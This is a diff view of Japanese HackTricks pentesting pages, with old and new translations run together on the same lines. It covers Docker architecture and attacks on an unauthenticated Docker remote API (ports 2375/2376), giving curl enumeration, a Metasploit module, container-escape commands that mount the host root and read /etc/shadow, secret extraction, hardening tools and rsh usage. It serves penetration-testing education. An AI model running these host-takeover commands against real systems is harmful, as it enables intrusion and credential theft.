* [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有**してください。 * **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details> </details>

View file

@ -2,31 +2,33 @@
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! HackTricksをサポートする他の方法
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** - [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**する。
- **ハッキングテクニックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details> </details>
## Dockerの基礎 ## Dockerの基礎
### Dockerとは ### 何ですか
Dockerプラットフォームは、連続的で高速なイノベーションを実現する業界をリードするコンテナプラットフォームであり、組織がレガシーから次のものまで、どんなアプリケーションでもシームレスに構築し共有し、どこでも安全に実行できるようにします。 Dockerプラットフォームは、連続して高速な革新を実現する業界をリードするコンテナプラットフォームであり、組織がレガシーから次に来るものまでの任意のアプリケーションをシームレスに構築して共有し、どこでも安全に実行できるようにします。
### Dockerの基本的なアーキテクチャ ### 基本的なDockerアーキテクチャ
この情報は[こちら](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc)から取得しました この情報は[こちら](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc)からです
* [containerd](http://containerd.io)は、コンテナのライフサイクル全体を管理できるコンテナランタイムです。イメージの転送/ストレージからコンテナの実行、監視、ネットワーキングまでを担当します。**containerdについての詳細は以下を参照してください。** - [containerd](http://containerd.io)は、コンテナのイメージの転送/ストレージからコンテナの実行、監視、ネットワーキングまでの完全なコンテナライフサイクルを**管理**できるコンテナランタイムです。**containerdについての詳細は以下にあります。**
* container-shimはヘッドレスコンテナを処理します。つまり、runcがコンテナを初期化すると、コンテナをコンテナシムに渡して中間人として機能します。 - container-shimはヘッドレスコンテナを処理し、つまり、runcがコンテナを初期化したら、runcはコンテナをcontainer-shimに引き渡し、中間者として機能します。
* [runc](http://runc.io)は、OCI仕様に準拠した軽量なユニバーサルランタイムコンテナです。**runcは、OCI仕様に従ってコンテナを生成および実行するためにcontainerdによって使用されます**。また、libcontainerの再パッケージングでもあります。 - [runc](http://runc.io)は、OCI仕様に準拠する軽量なユニバーサルランタイムコンテナであり、**runcはOCI仕様に従ってコンテナを生成および実行するためにcontainerdによって使用されます**。これはまた、libcontainerの再パッケージングです。
* [grpc](http://www.grpc.io)は、containerdとdocker-engineの間の通信に使用されます。 - [grpc](http://www.grpc.io)は、containerdとdocker-engineの間の通信に使用されます。
* [OCI](https://www.opencontainers.org)は、ランタイムとイメージのためのOCI仕様を維持しています。現在のDockerのバージョンはOCIイメージとランタイムの仕様をサポートしています。 - [OCI](https://www.opencontainers.org)は、ランタイムおよびイメージのOCI仕様を維持しています。現在のDockerバージョンはOCIイメージおよびランタイム仕様をサポートしています。
![runC, containerD](https://i.stack.imgur.com/5aXF6.png) ![runC, containerD](https://i.stack.imgur.com/5aXF6.png)
@ -55,9 +57,9 @@ docker system prune -a
``` ```
### Containerd ### Containerd
Containerdは、DockerやKubernetesだけでなく、Linux、Windows、Solaris、その他のOS上でコンテナを実行するために、システムコールやOS固有の機能を抽象化することを望む他のコンテナプラットフォームでも使用できるように設計されました。これらのユーザーを考慮して、containerdには必要なものだけが含まれており、不要なものは含まれていません。現実的にはこれは不可能ですが、少なくともそれを目指しています。ネットワーキングなどの機能はcontainerdの範囲外です。その理由は、分散システムを構築する際にネットワーキングが非常に重要な要素であるためです。SDNやサービスディスカバリの現在、ネットワーキングはLinux上のnetlink呼び出しを抽象化する以上にプラットフォーム固有のものです。 Containerdは、DockerやKubernetesだけでなく、Linux、Windows、Solaris、その他のOSでコンテナを実行するために**シスコールやOS固有の機能を抽象化**したいと考えている他のコンテナプラットフォームによって使用されるように設計されました。これらのユーザーを念頭に置いて、containerdには必要なものだけが含まれ、不要なものは含まれないようにしたいと考えています。現実的にはこれは不可能ですが、少なくともそれが私たちが目指すことです。**ネットワーキングなどはcontainerdの対象外**です。これは、分散システムを構築する際、ネットワーキングが非常に中心的な側面であるためです。SDNやサービスディスカバリが今日では、ネットワーキングはLinux上のnetlink呼び出しを抽象化するよりもプラットフォーム固有のものです。
なお、DockerはContainerdを使用していますが、ContainerdはDockerのネットワーク管理機能を持っていないため、Containerd単体ではDockerスワームを作成することはできません。 DockerはContainerdを使用していますが、Dockerが提供する機能の一部しか提供していません。たとえば、ContainerDにはDockerのネットワーク管理機能がなく、ContainerDだけを使用してDockerスワームを作成することはできません。
```bash ```bash
#Containerd CLI #Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
@ -75,22 +77,17 @@ ctr container delete <containerName>
``` ```
### Podman ### Podman
**情報** [**ここから**](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html) Red Hatが維持管理している、オープンソースでOCI[Open Container Initiative](https://github.com/opencontainers)準拠のコンテナエンジンであるPodmanは、Dockerとは異なる特徴を持っています。その特徴は、デーモンを必要とせず、ルートアクセスが不要なコンテナをサポートしていることです。両ツールの主な機能は、イメージとコンテナの管理です。Podmanの注目すべき目標の1つは、DockerのAPIとの互換性を持つことであり、これにより、ほとんどのDocker CLIコマンドをPodman内で使用できます。
Podmanは、オープンソースでOCIOpen Container Initiativeに準拠したコンテナエンジンです。Red Hatによって開発され、Dockerとは異なるいくつかの主な違いがあります。例えば、デーモンレスのアーキテクチャとルートレスコンテナのサポートです。基本的には、**両方のツールは同じことを行います: イメージとコンテナの管理**。Podmanの目標の1つは、Docker互換のAPIを持つことです。そのため、Docker CLIのほとんどのCLIコマンドラインインターフェースコマンドは、Podmanでも利用できます。 Podmanエコシステム内には、BuildahとSkopeoという2つの追加ツールが存在します。Buildahはコンテナイメージを構築するためのCLIツールとして機能し、Skopeoはプッシュ、プル、またはインスペクトなどのイメージ操作に使用されます。これらのツールとPodmanとの統合に関する詳細情報については、[GitHubページ](https://github.com/containers/buildah/tree/master/docs/containertools)を参照してください。
Podmanエコシステムには、BuildahとSkopeoという2つの他のツールがあります。Buildahは、コンテナイメージのビルドに使用されるCLIツールであり、Skopeoは、プッシュ、プル、またはインスペクトなどのイメージ操作を実行するCLIツールです。これらのツールとPodmanの関係についての詳細は、[GitHubをご覧ください](https://github.com/containers/buildah/tree/master/docs/containertools)。
**主な違い** **主な違い**
**DockerとPodmanの最大の違いは、アーキテクチャです**。**Docker**は**クライアントサーバーアーキテクチャ**で動作し、**Podman**は**デーモンレスアーキテクチャ**で動作します。しかし、それはどういう意味でしょうか?**Docker**を使用する場合、Docker CLIを使用する必要があり、Docker CLIは**バックグラウンドデーモン**Dockerデーモンと通信します。メインのロジックはデーモンにあり、イメージをビルドし、コンテナを実行します。この**デーモンはルート権限で実行されます**。一方、**Podman**のアーキテクチャでは、**コンテナを開始するユーザーの特権でコンテナが実行されます**fork/exec。このユーザーにはルート権限は必要ありません。**Podmanはデーモンレスアーキテクチャを持つため、Podmanを実行している各ユーザーは自分自身のコンテナしか見ることができず、変更することもできません**。CLIツールが通信する共通のデーモンはありません DockerとPodmanの最も重要な違いは、それらのアーキテクチャ設計にあります。Dockerはクライアントサーバーモデルで動作し、イメージの構築とコンテナの実行を担当するバックグラウンドデーモンにDocker CLIを使用する必要があり、これはルート権限で動作します。一方、Podmanはデーモンレスのアーキテクチャを採用しており、ルートアクセスを必要とせずに初期化ユーザーの権限でコンテナを実行できます。この設計により、Podmanのユーザーは共有デーモンを介したCLI通信なしに自分自身のコンテナのみにアクセスできます
Podmanにはデーモンがないため、バックグラウンドでコンテナを実行する方法が必要です。そのため、systemdとの統合を提供しており、systemdユニットを介してコンテナを制御できます。Podmanのバージョンによっては、既存のコンテナ用のユニットを生成したり、システムに存在しない場合にコンテナを作成できるユニットを生成したりすることができます。systemdとのもう1つの統合モデルでは、systemdをコンテナ内で実行できます。デフォルトでは、Dockerはデーモンプロセスを制御するためにsystemdを使用します。 デーモンなしでバックグラウンドでコンテナを操作するために、Podmanは**systemd**と統合しており、systemdユニットを介してコンテナの管理を可能にしています。この統合はPodmanのバージョンによって異なり、既存のコンテナとまだ作成されていないコンテナの両方のユニットを生成し、systemdのコンテナ内での動作を容易にします。一方、Dockerは通常、デーモンプロセス管理のためにsystemdに依存しています。
2つ目の主な違いは、コンテナの実行方法です。**Podman**では、**コンテナはデーモンではなくユーザーの特権で実行されます**。この時点で、ルートレスコンテナの概念が登場します。つまり、コンテナはルート権限なしで起動できます。ルートレスコンテナは、ルート権限を持つコンテナと比べて非常に優れています(お察しの通り)。これにより、攻撃者がコンテナをキャプチャして脱出できた場合でも、この攻撃者はホスト上の通常のユーザーです。ユーザーによって開始されたコンテナは、ユーザー自体よりも多くの特権や機能を持つことはありません。これにより、自然な保護層が追加されます。 もう1つの重要な違いは、コンテナの実行方法です。Podmanは、コンテナをデーモンではなく初期化ユーザーの権限で実行できます。これにより、ルートアクセスなしで初期化できるrootlessコンテナの概念が導入され、コンテナ侵害の潜在的な影響を制限することで、セキュリティ上の利点が提供されます。rootlessコンテナにより、侵害されたコンテナの攻撃者はホスト上の通常のユーザーの権限のみを持ち、初期化ユーザーの権限を超える権限の昇格を防ぎ、セキュリティを向上させます。
{% hint style="info" %}
PodmanはDockerと同じAPIをサポートすることを目指しているため、dockerと同じコマンドをpodmanでも使用することができます。例えば:
```bash ```bash
podman --version podman --version
podman info podman info
@ -101,9 +98,9 @@ podman ls
## 基本情報 ## 基本情報
リモートAPIは、有効になっている場合にはデフォルトでポート2375で実行されます。デフォルトでは認証が必要なく、攻撃者は特権のあるDockerコンテナを起動することができます。リモートAPIを使用することで、ホスト/(ルートディレクトリ)をコンテナにアタッチし、ホスト環境のファイルを読み書きすることができます。 リモートAPIは、有効になっている場合、デフォルトで2375ポートで実行されます。デフォルトでは認証が必要ないため、攻撃者は特権のあるDockerコンテナを起動することができます。リモートAPIを使用することで、ホスト/(ルートディレクトリ)をコンテナにアタッチし、ホスト環境のファイルを読み書きすることができます。
**デフォルトポート** 2375 **デフォルトポート:** 2375
``` ```
PORT STATE SERVICE PORT STATE SERVICE
2375/tcp open docker 2375/tcp open docker
@ -112,7 +109,7 @@ PORT STATE SERVICE
### 手動 ### 手動
Docker APIを列挙するためには、次の例のように`docker`コマンドまたは`curl`を使用できます。 Docker APIを列挙するためには、`docker`コマンドや次の例のように`curl`を使用できます。
```bash ```bash
#Using curl #Using curl
curl -s http://open.docker.socket:2375/version | jq #Get version curl -s http://open.docker.socket:2375/version | jq #Get version
@ -148,19 +145,19 @@ docker-init:
Version: 0.18.0 Version: 0.18.0
GitCommit: fec3683 GitCommit: fec3683
``` ```
もし`docker`コマンドで**リモートDocker APIに接続**できる場合、サービスとやり取りに[**以前コメントされた**dockerコマンド](2375-pentesting-docker.md#basic-commands)のいずれかを**実行**することができます。 **リモートDocker APIに`docker`コマンドで接続**できる場合、サービスとやり取りするために[**以前コメントされた**コマンド](2375-pentesting-docker.md#basic-commands)を**実行**できます。
{% hint style="info" %} {% hint style="info" %}
`export DOCKER_HOST="tcp://localhost:2375"`を使用して、dockerコマンドで`-H`パラメータを**使用しない**ようにすることもできます。 `export DOCKER_HOST="tcp://localhost:2375"`を使用して、dockerコマンドで`-H`パラメータを**使用せず**にできます。
{% endhint %} {% endhint %}
#### 迅速な特権エスカレーション #### 速い特権昇格
```bash ```bash
docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
``` ```
#### Curl #### Curl
時々、**TLS**エンドポイントの**2376**が利用可能になっていることがあります。私はdockerクライアントで接続することができませんでしたが、curlを使用してdocker APIに問題なくアクセスできます。 時々、**TLS**エンドポイントに**2376**が表示されます。dockerクライアントで接続できないことがありますが、curlを使用して問題なくdocker APIにアクセスできます。
```bash ```bash
#List containers #List containers
curl insecure https://tlsopen.docker.socket:2376/containers/json | jq curl insecure https://tlsopen.docker.socket:2376/containers/json | jq
@ -190,22 +187,20 @@ curl insecure -vv -X POST -H "Content-Type: application/json" https://tls-ope
#Delete stopped containers #Delete stopped containers
curl insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune curl insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune
``` ```
もし詳細情報が必要な場合は、コマンドをコピーした元の場所で詳細情報を入手できます:[https://securityboulevard.com/2019/02/abusing-docker-api-socket/](https://securityboulevard.com/2019/02/abusing-docker-api-socket/) ### 自動
### 自動化
```bash ```bash
msf> use exploit/linux/http/docker_daemon_tcp msf> use exploit/linux/http/docker_daemon_tcp
nmap -sV --script "docker-*" -p <PORT> <IP> nmap -sV --script "docker-*" -p <PORT> <IP>
``` ```
## Compromising(侵害) ## Compromising
以下のページでは、**Dockerコンテナから脱出方法**を見つけることができます: 以下のページでは、**Dockerコンテナから脱出する方法**を見つけることができます:
{% content-ref url="../linux-hardening/privilege-escalation/docker-security/" %} {% content-ref url="../linux-hardening/privilege-escalation/docker-security/" %}
[docker-security](../linux-hardening/privilege-escalation/docker-security/) [docker-security](../linux-hardening/privilege-escalation/docker-security/)
{% endcontent-ref %} {% endcontent-ref %}
これを悪用することで、コンテナから脱出し、リモートマシンを侵害することができます: これを悪用すると、コンテナから脱出することが可能であり、リモートマシンで弱いコンテナを実行し、そこから脱出してマシンを侵害することができます。
```bash ```bash
docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow cat /mnt/etc/shadow
@ -214,22 +209,22 @@ cat /mnt/etc/shadow
## 特権昇格 ## 特権昇格
もしDockerを使用しているホスト内にいる場合、特権昇格を試みるために[**この情報を読んでください**](../linux-hardening/privilege-escalation/#writable-docker-socket)。 ホスト内でDockerを使用している場合は、[**特権昇格を試みるためにこの情報を読んでください**](../linux-hardening/privilege-escalation/#writable-docker-socket)。
## 実行中のDockerコンテナ内の秘密の発見 ## 実行中のDockerコンテナ内の秘密の発見
```bash ```bash
docker ps [| grep <kubernetes_service_name>] docker ps [| grep <kubernetes_service_name>]
docker inspect <docker_id> docker inspect <docker_id>
``` ```
秘密情報を探すために、**env**(環境変数セクション)をチェックしてみてください。以下のものが見つかるかもしれません **env**(環境変数セクション)をチェックしてシークレットを見つけることができます
* パスワード。 - パスワード。
* IPアドレス。 - IPアドレス。
* ポート番号 - ポート
* パス。 - パス。
* その他...。 - その他...。
ファイルを抽出したい場合は、以下の手順を実行します ファイルを抽出したい場合:
```bash ```bash
docker cp <docket_id>:/etc/<secret_01> <secret_01> docker cp <docket_id>:/etc/<secret_01> <secret_01>
``` ```
@ -237,47 +232,47 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
### Dockerのインストールと使用のセキュリティ強化 ### Dockerのインストールと使用のセキュリティ強化
* [https://github.com/docker/docker-bench-security](https://github.com/docker/docker-bench-security)というツールを使用して、現在のDockerのインストールを調査することができます。 * 現在のDockerインストールを調査するために[https://github.com/docker/docker-bench-security](https://github.com/docker/docker-bench-security)ツールを使用できます。
* `./docker-bench-security.sh` * `./docker-bench-security.sh`
* [https://github.com/kost/dockscan](https://github.com/kost/dockscan)というツールを使用して、現在のDockerのインストールを調査することができます。 * 現在のDockerインストールを調査するために[https://github.com/kost/dockscan](https://github.com/kost/dockscan)ツールを使用できます。
* `dockscan -v unix:///var/run/docker.sock` * `dockscan -v unix:///var/run/docker.sock`
* [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained)というツールを使用して、異なるセキュリティオプションでコンテナを実行した場合のコンテナの特権を確認することができます。これは、コンテナを実行するためにいくつかのセキュリティオプションを使用することの影響を知るために役立ちます。 * 異なるセキュリティオプションで実行される場合のコンテナの権限を調べるために[https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained)ツールを使用できます。これは、コンテナを実行する際に一部のセキュリティオプションを使用することの影響を知るのに役立ちます:
* `docker run --rm -it r.j3ss.co/amicontained` * `docker run --rm -it r.j3ss.co/amicontained`
* `docker run --rm -it --pid host r.j3ss.co/amicontained` * `docker run --rm -it --pid host r.j3ss.co/amicontained`
* `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained` * `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained`
### Dockerイメージのセキュリティ強化 ### Dockerイメージのセキュリティ強化
* [https://github.com/quay/clair](https://github.com/quay/clair)のDockerイメージを使用して、他のDockerイメージをスキャンし、脆弱性を検出することができます。 * 他のDockerイメージをスキャンして脆弱性を見つけるために[https://github.com/quay/clair](https://github.com/quay/clair)のDockerイメージを使用できます。
* `docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"` * `docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"`
* `clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image` * `clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image`
### Dockerfileのセキュリティ強化 ### Dockerfileのセキュリティ強化
* [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter)というツールを使用して、Dockerfileを検査し、さまざまな設定ミスを見つけることができます。各設定ミスにはIDが割り当てられます。[https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md)でそれぞれの修正方法を見つけることができます。 * Dockerfileを検査し、さまざまなミス構成を見つけるために[https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter)ツールを使用できます。各ミス構成にはIDが割り当てられ、それぞれの修正方法は[https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md)で見つけることができます。
* `dockerfilelinter -f Dockerfile` * `dockerfilelinter -f Dockerfile`
![](<../.gitbook/assets/image (418).png>) ![](<../.gitbook/assets/image (418).png>)
* [https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint)というツールを使用して、Dockerfileを検査し、さまざまな設定ミスを見つけることができます。 * Dockerfileを検査し、さまざまなミス構成を見つけるために[https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint)ツールを使用できます。
* `dockerfilelint Dockerfile` * `dockerfilelint Dockerfile`
![](<../.gitbook/assets/image (419).png>) ![](<../.gitbook/assets/image (419).png>)
* [https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint)というツールを使用して、Dockerfileを検査し、さまざまな設定ミスを見つけることができます。 * Dockerfileを検査し、さまざまなミス構成を見つけるために[https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint)ツールを使用できます。
* `dockerlint Dockerfile` * `dockerlint Dockerfile`
![](<../.gitbook/assets/image (420).png>) ![](<../.gitbook/assets/image (420).png>)
* [https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint)というツールを使用して、Dockerfileを検査し、さまざまな設定ミスを見つけることができます。 * Dockerfileを検査し、さまざまなミス構成を見つけるために[https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint)ツールを使用できます。
* `hadolint Dockerfile` * `hadolint Dockerfile`
![](<../.gitbook/assets/image (421).png>) ![](<../.gitbook/assets/image (421).png>)
### 不審なアクティビティのログ記録 ### 疑わしいアクティビティのロギング
* [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco)というツールを使用して、実行中のコンテナで不審な動作を検出することができます。 * 実行中のコンテナで疑わしい動作を検出するために[https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco)ツールを使用できます。
* 次のチャンクでは、Falcoがカーネルモジュールをコンパイルして挿入する方法、その後ルールをロードして不審なアクティビティを記録する方法が示されています。この場合、特権コンテナが2つ開始され、そのうちの1つがセンシティブなマウントを持っていることが検出され、数秒後にはコンテナ内でシェルが開かれたことが検出されました。 * 次のチャンクで**Falcoがカーネルモジュールをコンパイルして挿入**する方法に注目してください。その後、ルールを読み込み、**疑わしいアクティビティを記録**を開始します。この場合、特権コンテナが2つ開始され、そのうち1つが機密マウントを持っていること、そして数秒後に1つのコンテナ内でシェルが開かれたことが検出されました。
``` ```
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host * Setting up /usr/src links from host
@ -320,16 +315,7 @@ falco-probe found and loaded in dkms
``` ```
### Dockerの監視 ### Dockerの監視
Dockerを監視するためにauditdを使用することができます。 Dockerを監視するためにauditdを使用できます。
<details> # 参考文献
* [https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html)
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* あなたは**サイバーセキュリティ会社**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>

View file

@ -2,23 +2,23 @@
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をご覧ください</strong></summary> <summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**フォローしてください。** * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)や[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングテクニックを共有してください。 * **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details> </details>
## 基本情報 ## 基本情報
**Rsh**は**.rhosts**ファイルと**/etc/hosts.equiv**を認証に使用します。これらの方法は、IPアドレスとDNSドメインネームシステムに依存して認証を行っていました。しかし、特に攻撃者がローカルネットワーク上にいる場合、IPアドレスのなりすましは比較的簡単です **Rsh**では、認証には**.rhosts**ファイルと**/etc/hosts.equiv**が使用されました。認証はIPアドレスとDNSに依存していました。特にローカルネットワーク上でIPアドレスをスプーフィングすることが容易であり、重大な脆弱性でした
さらに、**.rhosts**ファイルはユーザーのホームディレクトリに保存されており、通常はNFSネットワークファイルシステムボリュームに格納されていました。こちらから[https://www.ssh.com/ssh/rsh](https://www.ssh.com/ssh/rsh) さらに、**.rhosts**ファイルがユーザーのホームディレクトリに配置されることが一般的であり、これらはしばしばNetwork File SystemNFSボリュームに配置されていました
**デフォルトポート**: 514 **デフォルトポート**: 514
@ -29,18 +29,21 @@ rsh <IP> -l domain\user <Command>
rsh domain/user@<IP> <Command> rsh domain/user@<IP> <Command>
rsh domain\\user@<IP> <Command> rsh domain\\user@<IP> <Command>
``` ```
### [**ブルートフォース**](../generic-methodologies-and-resources/brute-force.md#rsh) ### [**Brute Force**](../generic-methodologies-and-resources/brute-force.md#rsh)
## 参考文献
* [https://www.ssh.com/ssh/rsh](https://www.ssh.com/ssh/rsh)]
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をご覧ください</strong></summary> <summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
